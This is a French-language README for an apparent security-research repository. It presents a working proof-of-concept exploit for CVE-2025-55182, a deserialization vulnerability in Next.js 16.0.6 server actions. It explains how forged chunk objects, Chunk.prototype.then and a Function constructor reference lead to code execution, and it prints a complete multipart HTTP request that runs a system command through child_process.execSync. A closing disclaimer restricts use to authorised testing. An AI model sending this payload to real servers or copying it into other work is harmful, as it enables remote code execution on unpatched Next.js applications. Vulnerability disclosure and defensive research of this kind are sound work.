
Plus axé sur l'exploitation ; idéal pour les dépôts de recherche en sécurité.
Ce dépôt contient une preuve de concept (POC) fonctionnelle pour CVE-2025-55182, une vulnérabilité critique de désérialisation affectant Next.js 16.0.6.
L'exploit abuse de la désérialisation de chunks $@ et de Chunk.prototype.then pour prendre le contrôle total du processus de résolution de chunks et parvenir à une exécution de code arbitraire (RCE) sur le serveur.
Next.js utilise des objets Chunk internes et un mécanisme de streaming/désérialisation pour les actions serveur.
En abusant de $@ pour désérialiser une référence de chunk et en injectant Chunk.prototype.then dans l'objet racine, un attaquant peut :
then(...) avec un contrôlé par l'attaquantthisstatus du chunk à resolved_modelinitializeModelChunk avec un faux chunk entièrement contrôlé par l'attaquantchunk._response pour atteindre un comportement interne dangereuxLe but final est de déclencher une désérialisation de Blob, qui exécute un appel comme :
response._formData.get(response._prefix)
En définissant response._formData.get = Function et en mettant du code arbitraire dans response._prefix, l'attaquant peut exécuter des commandes système arbitraires.
La requête HTTP dans poc/CVE-2025-55182.http démontre l'exploit contre Next.js 16.0.6 tournant localement, lançant xcalc via child_process.execSync :
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
/
├── README.md
├── DISCLAIMER.md
├── poc/
│ └── CVE-2025-55182.http
└── analysis/
└── exploitation-notes.md
Ce projet est fourni uniquement à des fins éducatives et de recherche. N'utilisez PAS cet exploit sur un système que vous ne possédez pas ou pour lequel vous n'avez pas d'autorisation écrite explicite de tester.
L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés.